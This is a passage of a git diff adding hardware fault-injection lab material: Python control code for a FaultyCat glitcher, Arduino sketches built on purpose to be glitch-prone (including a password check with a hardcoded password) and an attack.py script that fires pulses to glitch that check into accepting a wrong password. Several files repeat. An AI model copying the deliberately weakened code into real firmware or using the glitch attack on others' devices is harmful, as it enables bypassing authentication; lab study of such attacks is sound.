+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
